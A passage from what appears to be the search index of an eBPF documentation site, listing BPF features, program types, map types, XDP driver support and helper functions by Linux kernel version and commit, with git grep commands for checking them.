program","id":"17","title":"Hello World - minimal eBPF program"},"170":{"body":"Kernel version Commit 3.15 bd4cf0ed331a","breadcrumbs":"BPF Features by Linux Kernel Version » eBPF support","id":"170","title":"eBPF support"},"171":{"body":"The list of supported architectures for your kernel can be retrieved with: git grep HAVE_EBPF_JIT arch/ Feature / Architecture Kernel version Commit x86_64 3.16 622582786c9e ARM64 3.18 e54bcde3d69d s390 4.1 054623105728 Constant blinding for JIT machines 4.7 4f3446bb809f PowerPC64 4.8 156d0e290e96 Constant blinding - PowerPC64 4.9 b7b7013cac55 Sparc64 4.12 7a12b5031c6b MIPS 4.13 f381bf6d82f0 ARM32 4.14 39c13c204bb1 x86_32 4.18 03f5781be2c7 RISC-V RV64G 5.1 2353ecc6f91f RISC-V RV32G 5.7 5f316b65e99f PowerPC32 5.13 51c66ad849a7 LoongArch 6.1 5dc615520c4d","breadcrumbs":"BPF Features by Linux Kernel Version » JIT compiling","id":"171","title":"JIT compiling"},"172":{"body":"Several (but not all) of these main features translate to an eBPF program type. The list of such program types supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_prog_type {' include/uapi/linux/bpf.h Feature Kernel version Commit AF_PACKET (libpcap/tcpdump, cls_bpf classifier, netfilter's xt_bpf, team driver's load-balancing mode…) 3.15 bd4cf0ed331a Kernel helpers 3.15 bd4cf0ed331a bpf() syscall 3.18 99c55f7d47c0 Maps ( a.k.a. Tables; details below) 3.18 99c55f7d47c0 BPF attached to sockets 3.19 89aa075832b0 BPF attached to kprobes 4.1 2541517c32be cls_bpf / act_bpf for tc 4.1 e2e9b6541dd4 Tail calls 4.2 04fd61ab36ec Non-root programs on sockets 4.4 1be7f75d1668 Persistent maps and programs (virtual FS) 4.4 b2197755b263 tc's direct-action (da) mode 4.4 045efa82ff56 tc's clsact qdisc 4.5 1f211a1b929c BPF attached to tracepoints 4.7 98b5c2c65c29 Direct packet access 4.7 969bf05eb3ce XDP (see below) 4.8 6a773a15a1e8 BPF attached to perf events 4.9 0515e5999a46 Hardware offload for tc's cls_bpf 4.9 332ae8e2f6ec Verifier exposure and internal hooks 4.9 13a27dfc6697 BPF attached to cgroups for socket filtering 4.10 0e33661de493 Lightweight tunnel encapsulation 4.10 3a0af8fd61f9 e BPF support for xt_bpf module (iptables) 4.10 2c16d6033264 BPF program tag 4.10 7bd509e311f4 Tracepoints to debug BPF 4.11 (removed in 4.18) a67edbf4fb6d 4d220ed0f814 Testing / benchmarking BPF programs 4.12 1cf1cae963c2 BPF programs and maps IDs 4.13 dc4bb0e23561 BPF support for sock_ops 4.13 40304b2a1567 BPF support for skbs on sockets 4.14 b005fd189cec bpftool utility in kernel sources 4.15 71bb428fe2c1 BPF attached to cgroups as device controller 4.15 ebc614f68736 bpf2bpf function calls 4.16 cc8b0b92a169 BPF used for monitoring socket RX/TX data 4.17 4f738adba30a BPF attached to raw tracepoints 4.17 c4f6699dfcb8 BPF attached to bind() system call 4.17 4fbac77d2d09 aac3fc320d94 BPF attached to connect() system call 4.17 d74bad4e74ee BPF Type Format (BTF) 4.18 69b693f0aefa AF_XDP 4.18 fbfc504a24f5 bpfilter 4.18 d2ba09c17a06 End.BPF action for seg6local LWT 4.18 004d4b274e2a BPF attached to LIRC devices 4.18 f4364dcfc86d Pass map values to map helpers 4.18 d71962f3e627 BPF socket reuseport 4.19 2dbb9b9e6df6 BPF flow dissector 4.20 d58e468b1112 BPF 1M insn limit 5.2 c04c0d2b968a BPF cgroup sysctl 5.2 7b146cebe30c BPF raw tracepoint writable 5.2 9df1c28bb752 BPF bounded loop 5.3 2589726d12a1 BPF trampoline 5.5 fec56f5890d9 BPF LSM hook 5.7 fc611f47f218 641cd7b06c91 BPF iterator 5.8 180139dca8b3 BPF socket lookup hook 5.9 e9ddbb7707ff Sleepable BPF programs 5.10 1e6c62a88215","breadcrumbs":"BPF Features by Linux Kernel Version » Main features","id":"172","title":"Main features"},"173":{"body":"Program type Kernel version Commit Enum Socket filter 3.19 ddd872bc3098 BPF_PROG_TYPE_SOCKET_FILTER Kprobe 4.1 2541517c32be BPF_PROG_TYPE_KPROBE traffic control (TC) 4.1 96be4325f443 BPF_PROG_TYPE_SCHED_CLS traffic control (TC) 4.1 94caee8c312d BPF_PROG_TYPE_SCHED_ACT Tracepoint 4.7 98b5c2c65c29 BPF_PROG_TYPE_TRACEPOINT XDP 4.8 6a773a15a1e8 BPF_PROG_TYPE_XDP Perf event 4.9 0515e5999a46 BPF_PROG_TYPE_PERF_EVENT cgroup socket filtering 4.10 0e33661de493 BPF_PROG_TYPE_CGROUP_SKB cgroup sock modification 4.10 610236587600 BPF_PROG_TYPE_CGROUP_SOCK lightweight tunnel (IN) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_IN lightweight tunnel (OUT) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_OUT lightweight tunnel (XMIT) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_XMIT cgroup sock ops (per conn) 4.13 40304b2a1567 BPF_PROG_TYPE_SOCK_OPS stream parser / stream verdict 4.14 b005fd189cec BPF_PROG_TYPE_SK_SKB cgroup device manager 4.15 ebc614f68736 BPF_PROG_TYPE_CGROUP_DEVICE socket msg verdict 4.17 4f738adba30a BPF_PROG_TYPE_SK_MSG Raw tracepoint 4.17 c4f6699dfcb8 BPF_PROG_TYPE_RAW_TRACEPOINT socket binding 4.17 4fbac77d2d09 BPF_PROG_TYPE_CGROUP_SOCK_ADDR LWT seg6local 4.18 004d4b274e2a BPF_PROG_TYPE_LWT_SEG6LOCAL lirc devices 4.18 f4364dcfc86d BPF_PROG_TYPE_LIRC_MODE2 lookup SO_REUSEPORT socket 4.19 2dbb9b9e6df6 BPF_PROG_TYPE_SK_REUSEPORT flow dissector 4.20 d58e468b1112 BPF_PROG_TYPE_FLOW_DISSECTOR cgroup sysctl 5.2 7b146cebe30c BPF_PROG_TYPE_CGROUP_SYSCTL writable raw tracepoints 5.2 9df1c28bb752 BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE cgroup getsockopt/setsockopt 5.3 0d01da6afc54 BPF_PROG_TYPE_CGROUP_SOCKOPT Tracing (BTF/BPF trampoline) 5.5 f1b9509c2fb0 BPF_PROG_TYPE_TRACING struct ops 5.6 27ae7997a661 BPF_PROG_TYPE_STRUCT_OPS extensions 5.6 be8704ff07d2 BPF_PROG_TYPE_EXT LSM 5.7 fc611f47f218 BPF_PROG_TYPE_LSM lookup listening socket 5.9 e9ddbb7707ff BPF_PROG_TYPE_SK_LOOKUP Allow executing syscalls 5.15 79a7f8bdb159 BPF_PROG_TYPE_SYSCALL","breadcrumbs":"BPF Features by Linux Kernel Version » Program types","id":"173","title":"Program types"},"174":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » Maps ( a.k.a. Tables, in BCC lingo)","id":"174","title":"Maps ( a.k.a. Tables, in BCC lingo)"},"175":{"body":"The list of map types supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_map_type {' include/uapi/linux/bpf.h Map type Kernel version Commit Enum Hash 3.19 0f8e4bd8a1fc BPF_MAP_TYPE_HASH Array 3.19 28fbcfa08d8e BPF_MAP_TYPE_ARRAY Prog array 4.2 04fd61ab36ec BPF_MAP_TYPE_PROG_ARRAY Perf events 4.3 ea317b267e9d BPF_MAP_TYPE_PERF_EVENT_ARRAY Per-CPU hash 4.6 824bd0ce6c7c BPF_MAP_TYPE_PERCPU_HASH Per-CPU array 4.6 a10423b87a7e BPF_MAP_TYPE_PERCPU_ARRAY Stack trace 4.6 d5a3b1f69186 BPF_MAP_TYPE_STACK_TRACE cgroup array 4.8 4ed8ec521ed5 BPF_MAP_TYPE_CGROUP_ARRAY LRU hash 4.10 29ba732acbee 3a08c2fd7634 BPF_MAP_TYPE_LRU_HASH LRU per-CPU hash 4.10 8f8449384ec3 961578b63474 BPF_MAP_TYPE_LRU_PERCPU_HASH LPM trie (longest-prefix match) 4.11 b95a5c4db09b BPF_MAP_TYPE_LPM_TRIE Array of maps 4.12 56f668dfe00d BPF_MAP_TYPE_ARRAY_OF_MAPS Hash of maps 4.12 bcc6b1b7ebf8 BPF_MAP_TYPE_HASH_OF_MAPS Netdevice references (array) 4.14 546ac1ffb70d BPF_MAP_TYPE_DEVMAP Socket references (array) 4.14 174a79ff9515 BPF_MAP_TYPE_SOCKMAP CPU references 4.15 6710e1126934 BPF_MAP_TYPE_CPUMAP AF_XDP socket (XSK) references 4.18 fbfc504a24f5 BPF_MAP_TYPE_XSKMAP Socket references (hashmap) 4.18 81110384441a BPF_MAP_TYPE_SOCKHASH cgroup storage 4.19 de9cbbaadba5 BPF_MAP_TYPE_CGROUP_STORAGE reuseport sockarray 4.19 5dc4c4b7d4e8 BPF_MAP_TYPE_REUSEPORT_SOCKARRAY precpu cgroup storage 4.20 b741f1630346 BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE queue 4.20 f1a2e44a3aec BPF_MAP_TYPE_QUEUE stack 4.20 f1a2e44a3aec BPF_MAP_TYPE_STACK socket local storage 5.2 6ac99e8f23d4 BPF_MAP_TYPE_SK_STORAGE Netdevice references (hashmap) 5.4 6f9d451ab1a3 BPF_MAP_TYPE_DEVMAP_HASH struct ops 5.6 85d33df357b6 BPF_MAP_TYPE_STRUCT_OPS ring buffer 5.8 457f44363a88 BPF_MAP_TYPE_RINGBUF inode storage 5.10 8ea636848aca BPF_MAP_TYPE_INODE_STORAGE task storage 5.11 4cf1bc1f1045 BPF_MAP_TYPE_TASK_STORAGE Bloom filter 5.16 9330986c0300 BPF_MAP_TYPE_BLOOM_FILTER user ringbuf 6.1 583c1f420173 BPF_MAP_TYPE_USER_RINGBUF","breadcrumbs":"BPF Features by Linux Kernel Version » Map types","id":"175","title":"Map types"},"176":{"body":"Some (but not all) of these API features translate to a subcommand beginning with BPF_MAP_. The list of subcommands supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_cmd {' include/uapi/linux/bpf.h Feature Kernel version Commit Basic operations (lookup, update, delete, GET_NEXT_KEY) 3.18 db20fd2b0108 Pass flags to UPDATE_ELEM 3.19 3274f52073d8 Pre-alloc map memory by default 4.6 6c9059817432 Pass NULL to GET_NEXT_KEY 4.12 8fe45924387b Creation: select NUMA node 4.14 96eabe7a40aa Restrict access from syscall side 4.15 6e71b04a8224 Creation: specify map name 4.15 ad5b177bd73f LOOKUP_AND_DELETE_ELEM 4.20 bd513cd08f10 Creation: BPF_F_ZERO_SEED 5.0 96b3b6c9091d BPF_F_LOCK flag for lookup / update 5.1 96049f3afd50 Restrict access from BPF side 5.2 591fe9888d78 FREEZE 5.2 87df15de441b mmap() support for array maps 5.5 fc9702273e2e LOOKUP_BATCH 5.6 cb4d03ab499d UPDATE_BATCH, DELETE_BATCH 5.6 aa2e93b8e58e LOOKUP_AND_DELETE_BATCH 5.6 057996380a42 LOOKUP_AND_DELETE_ELEM support for hash maps 5.14 3e87f192b405","breadcrumbs":"BPF Features by Linux Kernel Version » Map userspace API","id":"176","title":"Map userspace API"},"177":{"body":"An approximate list of drivers or components supporting XDP programs for your kernel can be retrieved with: git grep -l XDP_SETUP_PROG drivers/ Feature / Driver Kernel version Commit XDP core architecture 4.8 6a773a15a1e8 Action: drop 4.8 6a773a15a1e8 Action: pass on to stack 4.8 6a773a15a1e8 Action: direct forwarding (on same port) 4.8 6ce96ca348a9 Direct packet data write 4.8 4acf6c0b84c9 Mellanox mlx4 driver 4.8 47a38e155037 Mellanox mlx5 driver 4.9 86994156c736 Netronome nfp driver 4.10 ecd63a0217d5 QLogic (Cavium) qed* drivers 4.10 496e05170958 virtio_net driver 4.10 f600b6905015 Broadcom bnxt_en driver 4.11 c6d30e8391b8 Intel ixgbe* drivers 4.12 924708081629 Cavium thunderx driver 4.12 05c773f52b96 Generic XDP 4.12 b5cdae3291f7 Intel i40e driver 4.13 0c8493d90b6b Action: redirect 4.14 6453073987ba Support for tap 4.14 761876c857cb Support for veth 4.14 d445516966dc Intel ixgbevf driver 4.17 c7aec59657b6 Freescale dpaa2 driver 5.0 7e273a8ebdd3 Socionext netsec driver 5.3 ba2b232108d3 TI cpsw driver 5.3 9ed4050c0d75 Intel ice driver 5.5 efc2214b6047 Solarflare sfc driver 5.5 eb9a36be7f3e Marvell mvneta driver 5.5 0db51da7a8e9 Microsoft hv_netvsc driver 5.6 351e1581395f Amazon ena driver 5.6 838c93dc5449 xen-netfront driver 5.9 6c5aa6fc4def Intel igb driver 5.10 9cbc948b5a20","breadcrumbs":"BPF Features by Linux Kernel Version » XDP","id":"177","title":"XDP"},"178":{"body":"The list of helpers supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep '\tFN(' include/uapi/linux/bpf.h Alphabetical order Helper Kernel version License Commit BPF_FUNC_bind() 4.17 d74bad4e74ee BPF_FUNC_bprm_opts_set() 5.11 3f6719c7b62f BPF_FUNC_btf_find_by_name_kind() 5.14 3d78417b60fb BPF_FUNC_cgrp_storage_delete() 6.2 c4bcfb38a95e BPF_FUNC_cgrp_storage_get() 6.2 c4bcfb38a95e BPF_FUNC_check_mtu() 5.12 34b2021cc616 BPF_FUNC_clone_redirect() 4.2 3896d655f4d4 BPF_FUNC_copy_from_user() 5.10 07be4c4a3e7a BPF_FUNC_copy_from_user_task() 5.18 GPL 376040e47334 BPF_FUNC_csum_diff() 4.6 7d672345ed29 BPF_FUNC_csum_level() 5.7 7cdec54f9713 BPF_FUNC_csum_update() 4.9 36bbef52c7eb BPF_FUNC_current_task_under_cgroup() 4.9 60d20f9195b2 BPF_FUNC_d_path() 5.10 6e22ab9da793 BPF_FUNC_dynptr_data() 5.19 34d4ef5775f7 BPF_FUNC_dynptr_from_mem() 5.19 263ae152e962 BPF_FUNC_dynptr_read() 5.19 13bbbfbea759 BPF_FUNC_dynptr_write() 5.19 13bbbfbea759 BPF_FUNC_fib_lookup() 4.18 GPL 87f5fc7e48dd BPF_FUNC_find_vma() 5.17 7c7e3d31e785 BPF_FUNC_for_each_map_elem() 5.13 69c087ba6225 BPF_FUNC_get_attach_cookie() 5.15 7adfc6c9b315 BPF_FUNC_get_branch_snapshot() 5.16 GPL 856c02dbce4f BPF_FUNC_get_current_ancestor_cgroup_id() 5.6 b4490c5c4e02 BPF_FUNC_get_cgroup_classid() 4.3 8d20aabe1c76 BPF_FUNC_get_current_cgroup_id() 4.18 bf6fa2c893c5 BPF_FUNC_get_current_comm() 4.2 ffeedafbf023 BPF_FUNC_get_current_pid_tgid() 4.2 ffeedafbf023 BPF_FUNC_get_current_task() 4.8 GPL 606274c5abd8 BPF_FUNC_get_current_task_btf() 5.11 GPL 3ca1032ab7ab BPF_FUNC_get_current_uid_gid() 4.2 ffeedafbf023 BPF_FUNC_get_func_arg() 5.17 f92c1e183604 BPF_FUNC_get_func_arg_cnt() 5.17 f92c1e183604 BPF_FUNC_get_func_ip() 5.15 5d8b583d04ae BPF_FUNC_get_func_ret() 5.17 f92c1e183604 BPF_FUNC_get_retval() 5.18 b44123b4a3dc BPF_FUNC_get_hash_recalc() 4.8 13c5c240f789 BPF_FUNC_get_listener_sock() 5.1 dbafd7ddd623 BPF_FUNC_get_local_storage() 4.19 cd3394317653 BPF_FUNC_get_netns_cookie() 5.7 f318903c0bf4 BPF_FUNC_get_ns_current_pid_tgid() 5.7 b4490c5c4e02 BPF_FUNC_get_numa_node_id() 4.10 2d0e30c30f84 BPF_FUNC_get_prandom_u32() 4.1 03e69b508b6f BPF_FUNC_get_route_realm() 4.4 c46646d0484f BPF_FUNC_get_smp_processor_id() 4.1 c04167ce2ca0 BPF_FUNC_get_socket_cookie() 4.12 91b8270f2a4d BPF_FUNC_get_socket_uid() 4.12 6acc5c291068 BPF_FUNC_get_stack() 4.18 GPL de2ff05f48af BPF_FUNC_get_stackid() 4.6 GPL d5a3b1f69186 BPF_FUNC_get_task_stack() 5.9 fa28dcb82a38 BPF_FUNC_getsockopt() 4.15 cd86d1fd2102 BPF_FUNC_ima_file_hash() 5.18 174b16946e39 BPF_FUNC_ima_inode_hash() 5.11 27672f0d280a BPF_FUNC_inode_storage_delete() 5.10 8ea636848aca BPF_FUNC_inode_storage_get() 5.10 8ea636848aca BPF_FUNC_jiffies64() 5.5 5576b991e9c1 BPF_FUNC_kallsyms_lookup_name() 5.16 d6aef08a872b BPF_FUNC_kptr_xchg() 5.19 c0a5a21c25f3 BPF_FUNC_ktime_get_boot_ns() 5.8 71d19214776e BPF_FUNC_ktime_get_coarse_ns() 5.11 d05512618056 BPF_FUNC_ktime_get_ns() 4.1 d9847d310ab4 BPF_FUNC_ktime_get_tai_ns() 6.1 c8996c98f703 BPF_FUNC_l3_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_l4_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_load_hdr_opt() 5.10 0813a841566f BPF_FUNC_loop() 5.17 e6f2dd0f8067 BPF_FUNC_lwt_push_encap() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_action() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_adjust_srh() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_store_bytes() 4.18 fe94cc290f53 BPF_FUNC_map_delete_elem() 3.19 d0003ec01c66 BPF_FUNC_map_lookup_elem() 3.19 d0003ec01c66 BPF_FUNC_map_lookup_percpu_elem() 5.19 07343110b293 BPF_FUNC_map_peek_elem() 4.20 f1a2e44a3aec BPF_FUNC_map_pop_elem() 4.20 f1a2e44a3aec BPF_FUNC_map_push_elem() 4.20 f1a2e44a3aec BPF_FUNC_map_update_elem() 3.19 d0003ec01c66 BPF_FUNC_msg_apply_bytes() 4.17 2a100317c9eb BPF_FUNC_msg_cork_bytes() 4.17 91843d540a13 BPF_FUNC_msg_pop_data() 5.0 7246d8ed4dcc BPF_FUNC_msg_pull_data() 4.17 015632bb30da BPF_FUNC_msg_push_data() 4.20 6fff607e2f14 BPF_FUNC_msg_redirect_hash() 4.18 81110384441a BPF_FUNC_msg_redirect_map() 4.17 4f738adba30a BPF_FUNC_per_cpu_ptr() 5.10 eaa6bcb71ef6 BPF_FUNC_perf_event_output() 4.4 GPL a43eec304259 BPF_FUNC_perf_event_read() 4.3 GPL 35578d798400 BPF_FUNC_perf_event_read_value() 4.15 GPL 908432ca84fc BPF_FUNC_perf_prog_read_value() 4.15 GPL 4bebdc7a85aa BPF_FUNC_probe_read() 4.1 GPL 2541517c32be BPF_FUNC_probe_read_kernel() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_kernel_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_str() 4.11 GPL a5e8c07059d0 BPF_FUNC_probe_write_user() 4.8 GPL 96ae52279594 BPF_FUNC_rc_keydown() 4.18 GPL f4364dcfc86d BPF_FUNC_rc_pointer_rel() 5.0 GPL 01d3240a04f4 BPF_FUNC_rc_repeat() 4.18 GPL f4364dcfc86d BPF_FUNC_read_branch_records() 5.6 GPL fff7b64355ea BPF_FUNC_redirect() 4.4 27b29f63058d BPF_FUNC_redirect_map() 4.14 97f91a7cf04f BPF_FUNC_redirect_neigh() 5.10 b4ab31414970 BPF_FUNC_redirect_peer() 5.10 9aa1206e8f48 BPF_FUNC_reserve_hdr_opt() 5.10 0813a841566f BPF_FUNC_ringbuf_discard() 5.8 457f44363a88 BPF_FUNC_ringbuf_discard_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_output() 5.8 457f44363a88 BPF_FUNC_ringbuf_query() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d BPF_FUNC_sk_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_fullsock() 5.1 46f8bc92758c BPF_FUNC_sk_lookup_tcp() 4.20 6acc9b432e67 BPF_FUNC_sk_lookup_udp() 4.20 6acc9b432e67 BPF_FUNC_sk_redirect_hash() 4.18 81110384441a BPF_FUNC_sk_redirect_map() 4.14 174a79ff9515 BPF_FUNC_sk_release() 4.20 6acc9b432e67 BPF_FUNC_sk_select_reuseport() 4.19 2dbb9b9e6df6 BPF_FUNC_sk_storage_delete() 5.2 6ac99e8f23d4 BPF_FUNC_sk_storage_get() 5.2 6ac99e8f23d4 BPF_FUNC_skb_adjust_room() 4.13 2be7e212d541 BPF_FUNC_skb_ancestor_cgroup_id() 4.19 7723628101aa BPF_FUNC_skb_change_head() 4.10 3a0af8fd61f9 BPF_FUNC_skb_change_proto() 4.8 6578171a7ff0 BPF_FUNC_skb_change_tail() 4.9 5293efe62df8 BPF_FUNC_skb_change_type() 4.8 d2485c4242a8 BPF_FUNC_skb_cgroup_classid() 5.10 b426ce83baa7 BPF_FUNC_skb_cgroup_id() 4.18 cb20b08ead40 BPF_FUNC_skb_ecn_set_ce() 5.1 f7c917ba11a6 BPF_FUNC_skb_get_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_get_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_get_xfrm_state() 4.18 12bed760a78d BPF_FUNC_skb_load_bytes() 4.5 05c74e5e53f6 BPF_FUNC_skb_load_bytes_relative() 4.18 4e1ec56cdc59 BPF_FUNC_skb_output() 5.5 a7658e1a4164 BPF_FUNC_skb_pull_data() 4.9 36bbef52c7eb BPF_FUNC_skb_set_tstamp() 5.18 9bb984f28d5b BPF_FUNC_skb_set_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_set_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_store_bytes() 4.1 91bc4822c3d6 BPF_FUNC_skb_under_cgroup() 4.8 4a482f34afcc BPF_FUNC_skb_vlan_pop() 4.3 4e10df9a60d9 BPF_FUNC_skb_vlan_push() 4.3 4e10df9a60d9 BPF_FUNC_skc_lookup_tcp() 5.2 edbf8c01de5a BPF_FUNC_skc_to_mctcp_sock() 5.19 3bc253c2e652 BPF_FUNC_skc_to_tcp_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_request_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_timewait_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp6_sock() 5.9 af7ec1383361 BPF_FUNC_skc_to_udp6_sock() 5.9 0d4fad3e57df BPF_FUNC_skc_to_unix_sock() 5.16 9eeb3aa33ae0 BPF_FUNC_snprintf() 5.13 7b15523a989b BPF_FUNC_snprintf_btf() 5.10 c4d0bfb45068 BPF_FUNC_sock_from_file() 5.11 4f19cab76136 BPF_FUNC_sock_hash_update() 4.18 81110384441a BPF_FUNC_sock_map_update() 4.14 174a79ff9515 BPF_FUNC_spin_lock() 5.1 d83525ca62cf BPF_FUNC_spin_unlock() 5.1 d83525ca62cf BPF_FUNC_store_hdr_opt() 5.10 0813a841566f BPF_FUNC_strncmp() 5.17 c5fb19937455 BPF_FUNC_strtol() 5.2 d7a4cb9b6705 BPF_FUNC_strtoul() 5.2 d7a4cb9b6705 BPF_FUNC_sys_bpf() 5.14 79a7f8bdb159 BPF_FUNC_sys_close() 5.14 3abea089246f BPF_FUNC_sysctl_get_current_value() 5.2 1d11b3016cec BPF_FUNC_sysctl_get_name() 5.2 808649fb787d BPF_FUNC_sysctl_get_new_value() 5.2 4e63acdff864 BPF_FUNC_sysctl_set_new_value() 5.2 4e63acdff864 BPF_FUNC_tail_call() 4.2 04fd61ab36ec BPF_FUNC_task_pt_regs() 5.15 GPL dd6e10fbd9f BPF_FUNC_task_storage_delete() 5.11 4cf1bc1f1045 BPF_FUNC_task_storage_get() 5.11 4cf1bc1f1045 BPF_FUNC_tcp_check_syncookie() 5.2 399040847084 BPF_FUNC_tcp_gen_syncookie() 5.3 70d66244317e BPF_FUNC_tcp_raw_check_syncookie_ipv4() 6.0 33bf9885040c BPF_FUNC_tcp_raw_check_syncookie_ipv6() 6.0 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv4() 6.0 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv6() 6.0 33bf9885040c BPF_FUNC_tcp_send_ack() 5.5 206057fe020a BPF_FUNC_tcp_sock() 5.1 655a51e536c0 BPF_FUNC_this_cpu_ptr() 5.10 63d9b80dcf2c BPF_FUNC_timer_init() 5.15 b00628b1c7d5 BPF_FUNC_timer_set_callback() 5.15 b00628b1c7d5 BPF_FUNC_timer_start() 5.15 b00628b1c7d5 BPF_FUNC_timer_cancel() 5.15 b00628b1c7d5 BPF_FUNC_trace_printk() 4.1 GPL 9c959c863f82 BPF_FUNC_trace_vprintk() 5.16 GPL 10aceb629e19 BPF_FUNC_user_ringbuf_drain() 6.1 205715673844 BPF_FUNC_xdp_adjust_head() 4.10 17bedab27231 BPF_FUNC_xdp_adjust_meta() 4.15 de8f3a83b0a0 BPF_FUNC_xdp_adjust_tail() 4.18 b32cc5b9a346 BPF_FUNC_xdp_get_buff_len() 5.18 0165cc817075 BPF_FUNC_xdp_load_bytes() 5.18 3f364222d032 BPF_FUNC_xdp_store_bytes() 5.18 3f364222d032 BPF_FUNC_xdp_output() 5.6 GPL d831ee84bfc9 BPF_FUNC_override_return() 4.16 GPL 9802d86585db BPF_FUNC_sock_ops_cb_flags_set() 4.16 b13d88072172 Note: GPL-only BPF helpers require a GPL-compatible license. The current licenses considered GPL-compatible by the kernel are: GPL GPL v2 GPL and additional rights Dual BSD/GPL Dual MIT/GPL Dual MPL/GPL Check the list of GPL-compatible licenses in your kernel source code .","breadcrumbs":"BPF Features by Linux Kernel Version » Helpers","id":"178","title":"Helpers"},"179":{"body":"The list of program types and supported helper functions can be retrieved with: git grep -W 'func_proto(enum bpf_func_id func_id' kernel/ net/ drivers/ Program Type Helper Functions BPF_PROG_TYPE_SOCKET_FILTER BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_perf_event_output() Base functions BPF_PROG_TYPE_KPROBE BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_event_read_value() BPF_FUNC_override_return() Tracing functions BPF_PROG_TYPE_SCHED_CLS BPF_PROG_TYPE_SCHED_ACT BPF_FUNC_skb_store_bytes() BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_skb_pull_data() BPF_FUNC_csum_diff() BPF_FUNC_csum_update() BPF_FUNC_l3_csum_replace() BPF_FUNC_l4_csum_replace() BPF_FUNC_clone_redirect() BPF_FUNC_get_cgroup_classid() BPF_FUNC_skb_vlan_push() BPF_FUNC_skb_vlan_pop() BPF_FUNC_skb_change_proto() BPF_FUNC_skb_change_type() BPF_FUNC_skb_adjust_room() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_get_tunnel_key() BPF_FUNC_skb_set_tunnel_key() BPF_FUNC_skb_get_tunnel_opt() BPF_FUNC_skb_set_tunnel_opt() BPF_FUNC_redirect() BPF_FUNC_get_route_realm() BPF_FUNC_get_hash_recalc() BPF_FUNC_set_hash_invalid() BPF_FUNC_set_hash() BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_skb_under_cgroup() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_fib_lookup() BPF_FUNC_skb_get_xfrm_state() BPF_FUNC_skb_cgroup_id() Base functions BPF_PROG_TYPE_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_d_path() Tracing functions BPF_PROG_TYPE_XDP BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_csum_diff() BPF_FUNC_xdp_adjust_head() BPF_FUNC_xdp_adjust_meta() BPF_FUNC_redirect() BPF_FUNC_redirect_map() BPF_FUNC_xdp_adjust_tail() BPF_FUNC_fib_lookup() Base functions BPF_PROG_TYPE_PERF_EVENT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_prog_read_value() Tracing functions BPF_PROG_TYPE_CGROUP_SKB BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() Base functions BPF_PROG_TYPE_CGROUP_SOCK BPF_FUNC_get_current_uid_gid() Base functions BPF_PROG_TYPE_LWT_IN BPF_FUNC_lwt_push_encap() LWT functions Base functions BPF_PROG_TYPE_LWT_OUT LWT functions Base functions BPF_PROG_TYPE_LWT_XMIT BPF_FUNC_skb_get_tunnel_key() BPF_FUNC_skb_set_tunnel_key() BPF_FUNC_skb_get_tunnel_opt() BPF_FUNC_skb_set_tunnel_opt() 